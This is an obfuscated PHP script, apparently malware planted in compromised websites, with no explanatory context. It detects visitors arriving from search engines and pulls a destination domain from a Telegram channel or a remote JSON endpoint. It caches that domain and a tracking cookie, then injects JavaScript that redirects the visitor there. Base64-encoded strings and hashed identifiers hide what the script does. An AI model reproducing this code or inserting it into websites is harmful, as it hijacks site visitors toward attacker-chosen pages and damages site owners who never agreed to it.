<?php

$white_engine_search = 'google|bing|yandex|baidu|yahoo|duckduckgo|ask';
if (isset($_SERVER['HTTP_REFERER'])) {
	$referer = $_SERVER['HTTP_REFERER'];
	if (preg_match("/(" . $white_engine_search . ")/i", $referer)) {
		function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45)
		{
			if (function_exists('curl_version')) {
				$var_e8061cb59b46a4a2bda304354b950448 = curl_init();
				curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45);
				curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1);
				curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1);
				curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0);
				curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2'));
				curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5);
				$var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448);
				curl_close($var_e8061cb59b46a4a2bda304354b950448);
				return $var_0097b357800d476540b254cb19296657;
			}
			return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45);
		}

		function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a)
		{
			preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c);
			$var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null;

			if (empty($var_ca82733491623ed9ca5b46aa68429a45)) {
				$var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=') . '779bb9b762144a8d1e3baa0ca19c8e53&a=31631721355814'), true);
				$var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null;
			}
			if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) {
				file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45));
			}

			return $var_ca82733491623ed9ca5b46aa68429a45;
		}

		$var_7627930d2ca3d69d67459718ffea775a = md5('31631721355814');

		if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) {
			$var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a);
			$var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a));
		}

		if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) {
			$var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a);
			if ($var_46cae77fe5ea47d71b4e481b77b36db3) {
				$var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3;
			}
		}

		if (empty($_COOKIE[base64_decode('aHRfcnI=')]) && $var_ca82733491623ed9ca5b46aa68429a45) {
			$var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45 . '?31631721355814';
			setcookie(base64_decode('aHRfcnI='), 1, time() + 86400, base64_decode('Lw=='));
			echo base64_decode('PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgi') . $var_ca82733491623ed9ca5b46aa68429a45 . base64_decode('Iik7d2luZG93LmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45 . base64_decode('Ijs8L3NjcmlwdD4=');
		}
	}
}

?>